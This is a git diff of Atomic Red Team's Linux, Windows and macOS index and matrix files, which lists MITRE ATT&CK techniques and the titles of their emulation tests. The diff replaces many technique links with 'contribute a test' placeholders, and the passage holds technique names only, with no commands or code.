[CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1066 Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1070 Indicator Removal on Host](../../T1070/T1070.md) - Atomic Test #3: rm -rf [macos, linux] @@ -282,15 +282,15 @@ - T1149 LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1152 Launchctl](../../T1152/T1152.md) - Atomic Test #1: Launchctl [macos] -- [T1036 Masquerading](../../T1036/T1036.md) +- T1036 Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1027 Obfuscated Files or Information](../../T1027/T1027.md) - Atomic Test #1: Decode base64 Data into Script [macos, linux] - [T1150 Plist Modification](../../T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] - T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1055 Process Injection](../../T1055/T1055.md) +- T1055 Process Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1014 Rootkit](../../T1014/T1014.md) +- T1014 Rootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1064 Scripting](../../T1064/T1064.md) - Atomic Test #1: Create and Execute Bash Shell Script [macos, linux] - [T1045 Software Packing](../../T1045/T1045.md) @@ -305,7 +305,7 @@ - Atomic Test #4: Modify file timestamps using reference file [linux, macos] - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1102 Web Service](../../T1102/T1102.md) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # command-and-control - T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -325,7 +325,7 @@ - T1026 Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1079 Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1219 Remote Access Tools](../../T1219/T1219.md) +- T1219 Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1105 Remote File Copy](../../T1105/T1105.md) - Atomic Test #1: rsync remote file copy (push) [linux, macos] - Atomic Test #2: rsync remote file copy (pull) [linux, macos] @@ -335,17 +335,17 @@ - Atomic Test #6: sftp remote file copy (pull) [linux, macos] - [T1071 Standard Application Layer Protocol](../../T1071/T1071.md) - Atomic Test #3: Malicious User Agents - Nix [linux, macos] -- [T1032 Standard Cryptographic Protocol](../../T1032/T1032.md) -- [T1095 Standard Non-Application Layer Protocol](../../T1095/T1095.md) +- T1032 Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1095 Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1065 Uncommonly Used Port](../../T1065/T1065.md) - Atomic Test #2: Testing usage of uncommonly used port [linux, macos] -- [T1102 Web Service](../../T1102/T1102.md) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # initial-access - T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1193 Spearphishing Attachment](../../T1193/T1193.md) +- T1193 Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -362,7 +362,7 @@ - Atomic Test #1: Launch Daemon [macos] - [T1150 Plist Modification](../../T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1055 Process Injection](../../T1055/T1055.md) +- T1055 Process Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1166 Setuid and Setgid](../../T1166/T1166.md) - Atomic Test #1: Make and modify binary from C source [macos, linux] - Atomic Test #2: Set a SetUID flag on file [macos, linux] @@ -375,5 +375,5 @@ - Atomic Test #1: Unlimited sudo cache timeout [macos, linux] - Atomic Test #2: Disable tty_tickets for sudo caching [macos, linux] - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1100 Web Shell](../../T1100/T1100.md) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index 595eae94..57779f2f 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -5,7 +5,7 @@ - Atomic Test #1: Bitsadmin Download (cmd) [windows] - Atomic Test #2: Bitsadmin Download (PowerShell) [windows] - Atomic Test #3: Persist, Download, & Execute [windows] -- [T1009 Binary Padding](../../T1009/T1009.md) +- T1009 Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1088 Bypass User Account Control](../../T1088/T1088.md) - Atomic Test #1: Bypass UAC using Event Viewer (cmd) [windows] - Atomic Test #2: Bypass UAC using Event Viewer (PowerShell) [windows] @@ -171,7 +171,7 @@ - Atomic Test #1: PubPrn.vbs Signed Script Bypass [windows] - Atomic Test #2: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] - Atomic Test #3: manage-bde.wsf Signed Script Command Execution [windows] -- [T1045 Software Packing](../../T1045/T1045.md) +- T1045 Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1221 Template Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1099 Timestomp](../../T1099/T1099.md) - Atomic Test #5: Windows - Modify file creation timestamp with PowerShell [windows] @@ -369,7 +369,7 @@ - Atomic Test #5: Windows - Delete Volume Shadow Copies via WMI with PowerShell [windows] - Atomic Test #6: Windows - Delete Backup Files [windows] - T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1496 Resource Hijacking](../../T1496/T1496.md) +- T1496 Resource Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1489 Service Stop](../../T1489/T1489.md) - Atomic Test #1: Windows - Stop service using Service Controller [windows] @@ -399,7 +399,7 @@ - [T1083 File and Directory Discovery](../../T1083/T1083.md) - Atomic Test #1: File and Directory Discovery (cmd.exe) [windows] - Atomic Test #2: File and Directory Discovery (PowerShell) [windows] -- [T1046 Network Service Scanning](../../T1046/T1046.md) +- T1046 Network Service Scanning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1135 Network Share Discovery](../../T1135/T1135.md) - Atomic Test #2: Network Share Discovery command prompt [windows] - Atomic Test #3: Network Share Discovery PowerShell [windows] @@ -563,7 +563,7 @@ - Atomic Test #1: Stage data from Discovery.bat [windows] - Atomic Test #3: Zip a Folder with PowerShell for Staging in Temp [windows] - T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1005 Data from Local System](../../T1005/T1005.md) +- T1005 Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1114 Email Collection](../../T1114/T1114.md) @@ -571,7 +571,7 @@ - [T1056 Input Capture](../../T1056/T1056.md) - Atomic Test #1: Input Capture [windows] - T1185 Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1113 Screen Capture](../../T1113/T1113.md) +- T1113 Screen Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1125 Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # exfiltration @@ -583,7 +583,7 @@ - Atomic Test #2: Compress Data and lock with password for Exfiltration with winrar [windows] - Atomic Test #3: Compress Data and lock with password for Exfiltration with winzip [windows] - Atomic Test #4: Compress Data and lock with password for Exfiltration with 7zip [windows] -- [T1030 Data Transfer Size Limits](../../T1030/T1030.md) +- T1030 Data Transfer Size Limits [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1048 Exfiltration Over Alternative Protocol](../../T1048/T1048.md) - Atomic Test #4: Exfiltration Over Alternative Protocol - ICMP [windows] - T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -595,7 +595,7 @@ - [T1191 CMSTP](../../T1191/T1191.md) - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - Atomic Test #2: CMSTP Executing UAC Bypass [windows] -- [T1059 Command-Line Interface](../../T1059/T1059.md) +- T1059 Command-Line Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1223 Compiled HTML File](../../T1223/T1223.md) - Atomic Test #1: Compiled HTML Help Local Payload [windows] - Atomic Test #2: Compiled HTML Help Remote Payload [windows] @@ -708,7 +708,7 @@ - Atomic Test #2: portproxy reg key [windows] - T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1132 Data Encoding](../../T1132/T1132.md) +- T1132 Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1483 Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/Matrices/linux-matrix.md b/atomics/Indexes/Matrices/linux-matrix.md index c7e602ba..012a531a 100644 --- a/atomics/Indexes/Matrices/linux-matrix.md +++ b/atomics/Indexes/Matrices/linux-matrix.md @@ -1,32 +1,32 @@ # Linux Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | impact | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](../../T1059/T1059.md) | [.bash_profile and .bashrc](../../T1156/T1156.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Manipulation](../../T1098/T1098.md) | [Account Discovery](../../T1087/T1087.md) | Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](../../T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Access Removal](../../T1531/T1531.md) | -| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Manipulation](../../T1098/T1098.md) | [Process Injection](../../T1055/T1055.md) | [Binary Padding](../../T1009/T1009.md) | [Bash History](../../T1139/T1139.md) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](../../T1119/T1119.md) | [Data Compressed](../../T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Destruction](../../T1485/T1485.md) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](../../T1166/T1166.md) | [Clear Command History](../../T1146/T1146.md) | [Brute Force](../../T1110/T1110.md) | Cloud Service Dashboard [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](../../T1115/T1115.md) | [Data Encrypted](../../T1022/T1022.md) | [Connection Proxy](../../T1090/T1090.md) | Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| [Spearphishing Attachment](../../T1193/T1193.md) | [Local Job Scheduling](../../T1168/T1168.md) | [Browser Extensions](../../T1176/T1176.md) | [Sudo](../../T1169/T1169.md) | [Compile After Delivery](../../T1500/T1500.md) | Cloud Instance Metadata API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](../../T1074/T1074.md) | [Data Transfer Size Limits](../../T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](../../T1064/T1064.md) | [Create Account](../../T1136/T1136.md) | [Sudo Caching](../../T1206/T1206.md) | [Connection Proxy](../../T1090/T1090.md) | [Credential Dumping](../../T1003/T1003.md) | [File and Directory Discovery](../../T1083/T1083.md) | [Remote File Copy](../../T1105/T1105.md) | Data from Cloud Storage Object [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](../../T1059/T1059.md) | [.bash_profile and .bashrc](../../T1156/T1156.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Account Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Discovery](../../T1087/T1087.md) | Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Audio Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Account Access Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Account Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Injection](../../T1055/T1055.md) | [Binary Padding](../../T1009/T1009.md) | [Bash History](../../T1139/T1139.md) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Automated Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Compressed](../../T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Destruction](../../T1485/T1485.md) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](../../T1166/T1166.md) | [Clear Command History](../../T1146/T1146.md) | Brute Force [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Service Dashboard [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Clipboard Data [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encrypted](../../T1022/T1022.md) | [Connection Proxy](../../T1090/T1090.md) | Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](../../T1168/T1168.md) | [Browser Extensions](../../T1176/T1176.md) | [Sudo](../../T1169/T1169.md) | Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Instance Metadata API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](../../T1074/T1074.md) | [Data Transfer Size Limits](../../T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](../../T1064/T1064.md) | [Create Account](../../T1136/T1136.md) | [Sudo Caching](../../T1206/T1206.md) | [Connection Proxy](../../T1090/T1090.md) | Credential Dumping [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File and Directory Discovery](../../T1083/T1083.md) | [Remote File Copy](../../T1105/T1105.md) | Data from Cloud Storage Object [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Source](../../T1153/T1153.md) | [Hidden Files and Directories](../../T1158/T1158.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disabling Security Tools](../../T1089/T1089.md) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](../../T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](../../T1132/T1132.md) | Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](../../T1151/T1151.md) | Implant Container Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Web Shell](../../T1100/T1100.md) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](../../T1081/T1081.md) | [Network Share Discovery](../../T1135/T1135.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data from Local System](../../T1005/T1005.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Space after Filename [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Implant Container Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](../../T1081/T1081.md) | [Network Share Discovery](../../T1135/T1135.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Kernel Modules and Extensions](../../T1215/T1215.md) | | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](../../T1040/T1040.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](../../T1154/T1154.md) | [Local Job Scheduling](../../T1168/T1168.md) | | [File Deletion](../../T1107/T1107.md) | [Input Capture](../../T1056/T1056.md) | [Password Policy Discovery](../../T1201/T1201.md) | Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Inhibit System Recovery](../../T1490/T1490.md) | -| | [User Execution](../../T1204/T1204.md) | [Office Application Startup](../../T1137/T1137.md) | | [File and Directory Permissions Modification](../../T1222/T1222.md) | [Network Sniffing](../../T1040/T1040.md) | [Permission Groups Discovery](../../T1069/T1069.md) | | [Email Collection](../../T1114/T1114.md) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [HISTCONTROL](../../T1148/T1148.md) | [Private Keys](../../T1145/T1145.md) | [Process Discovery](../../T1057/T1057.md) | | [Input Capture](../../T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Resource Hijacking](../../T1496/T1496.md) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](../../T1154/T1154.md) | [Local Job Scheduling](../../T1168/T1168.md) | | [File Deletion](../../T1107/T1107.md) | Input Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](../../T1201/T1201.md) | Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Inhibit System Recovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Office Application Startup [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [File and Directory Permissions Modification](../../T1222/T1222.md) | [Network Sniffing](../../T1040/T1040.md) | [Permission Groups Discovery](../../T1069/T1069.md) | | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [HISTCONTROL](../../T1148/T1148.md) | [Private Keys](../../T1145/T1145.md) | [Process Discovery](../../T1057/T1057.md) | | Input Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Resource Hijacking](../../T1496/T1496.md) | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Hidden Files and Directories](../../T1158/T1158.md) | Steal Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](../../T1018/T1018.md) | | [Screen Capture](../../T1113/T1113.md) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Server Software Component](../../T1505/T1505.md) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Software Discovery](../../T1518/T1518.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Server Software Component [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | [Setuid and Setgid](../../T1166/T1166.md) | | [Indicator Removal on Host](../../T1070/T1070.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](../../T1082/T1082.md) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) | | | | [Systemd Service](../../T1501/T1501.md) | | [Install Root Certificate](../../T1130/T1130.md) | | [System Network Configuration Discovery](../../T1016/T1016.md) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Trap](../../T1154/T1154.md) | | [Masquerading](../../T1036/T1036.md) | | [System Network Connections Discovery](../../T1049/T1049.md) | | | | [Remote Access Tools](../../T1219/T1219.md) | | +| | | [Trap](../../T1154/T1154.md) | | [Masquerading](../../T1036/T1036.md) | | [System Network Connections Discovery](../../T1049/T1049.md) | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Obfuscated Files or Information](../../T1027/T1027.md) | | [System Owner/User Discovery](../../T1033/T1033.md) | | | | [Remote File Copy](../../T1105/T1105.md) | | -| | | [Web Shell](../../T1100/T1100.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Standard Application Layer Protocol](../../T1071/T1071.md) | | -| | | | | [Process Injection](../../T1055/T1055.md) | | | | | | [Standard Cryptographic Protocol](../../T1032/T1032.md) | | -| | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Standard Non-Application Layer Protocol](../../T1095/T1095.md) | | +| | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Standard Application Layer Protocol](../../T1071/T1071.md) | | +| | | | | [Process Injection](../../T1055/T1055.md) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | +| | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | Revert Cloud Instance [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Uncommonly Used Port](../../T1065/T1065.md) | | -| | | | | [Rootkit](../../T1014/T1014.md) | | | | | | [Web Service](../../T1102/T1102.md) | | +| | | | | [Rootkit](../../T1014/T1014.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | [Scripting](../../T1064/T1064.md) | | | | | | | | -| | | | | [Space after Filename](../../T1151/T1151.md) | | | | | | | | +| | | | | Space after Filename [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | | [Timestomp](../../T1099/T1099.md) | | | | | | | | | | | | | Unused/Unsupported Cloud Regions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | -| | | | | [Web Service](../../T1102/T1102.md) | | | | | | | | +| | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | | Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | diff --git a/atomics/Indexes/Matrices/macos-matrix.md b/atomics/Indexes/Matrices/macos-matrix.md index f1b5c1d7..85df5e62 100644 --- a/atomics/Indexes/Matrices/macos-matrix.md +++ b/atomics/Indexes/Matrices/macos-matrix.md @@ -1,37 +1,37 @@ # macOS 